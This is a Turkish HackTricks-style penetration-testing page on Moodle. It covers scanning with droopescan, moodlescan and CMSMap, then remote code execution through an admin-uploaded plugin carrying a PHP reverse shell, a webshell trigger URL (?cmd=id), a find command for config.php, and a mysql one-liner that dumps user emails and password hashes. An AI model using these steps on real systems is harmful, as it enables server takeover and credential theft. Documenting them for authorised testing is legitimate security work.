98 lines
3.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Moodle
{{#include ../../banners/hacktricks-training.md}}
## Otomatik Taramalar
### droopescan
```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] No themes found.
[+] Possible version(s):
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
[+] Scan finished (0:00:05.643539 elapsed)
```
### moodlescan
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
```
### CMSMap
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
```
### CVEs
Moodle sürümünü etkileyen güvenlik açıklarını bulmak için otomatik araçların oldukça **işe yaramaz** olduğunu gördüm. Bunları [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) adresinde **kontrol** edebilirsiniz.
## **RCE**
**Yönetici** rolüne sahip olmanız gerekiyor ve **"Site yönetimi"** sekmesinde **eklentiler yükleyebilirsiniz**:
![](<../../images/image (630).png>)
Eğer yöneticiyseniz, bu **seçeneği etkinleştirmeniz** gerekebilir. Moodle ayrıcalık yükseltme PoC'de nasıl olduğunu görebilirsiniz: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Sonra, klasik pentest-monkey php r**ev shell** içeren **aşağıdaki eklentiyi** yükleyebilirsiniz (_yüklemeden önce sıkıştırmayı açmanız, revshell'in IP ve portunu değiştirmeniz ve tekrar sıkıştırmanız gerekiyor_)
{{#file}}
moodle-rce-plugin.zip
{{#endfile}}
Ya da [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) adresinden eklentiyi kullanarak "cmd" parametresi ile normal bir PHP shell alabilirsiniz.
Kötü niyetli eklentiyi başlatmak için erişmeniz gereken yer:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```
## POST
### Veritabanı kimlik bilgilerini bulma
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
### Veritabanından Kimlik Bilgilerini Dökme
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
{{#include ../../banners/hacktricks-training.md}}